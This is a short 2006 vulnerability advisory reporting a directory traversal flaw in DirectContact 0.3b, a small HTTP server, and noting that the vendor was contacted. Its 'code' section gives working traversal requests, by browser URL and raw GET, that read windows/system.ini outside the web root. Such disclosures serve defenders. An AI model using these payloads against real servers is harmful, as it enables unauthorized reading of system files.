Donato Ferrante


Application:  DirectContact
              http://reyero.info/dc/

Version:      0.3b

Bug:          directory traversal

Date:         27-Feb-2006

Author:       Donato Ferrante
              e-mail: fdonato@autistici.org
              web:    www.autistici.org/fdonato



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1. Description
2. The bug
3. The code
4. The fix



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1. Description:
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Vendor's Description:

"DirectContact turns your computer in real "friendly" HTTP server."



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2. The bug:
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The program is unable to manage malicious patterns like ..\ or ../.
So an attacker can go out the document root assigned to the webserver
and see/download all the files available on the remote system.



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3. The code:
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To test the vulnerability:

via browser:
http://[host]:[port]/..\..\..\..\windows/system.ini

via raw request:
GET /../../../../../../windows/system.ini HTTP/1.1



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4. The fix:
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Vendor has been contacted.
Bug will be fixed in the next release.



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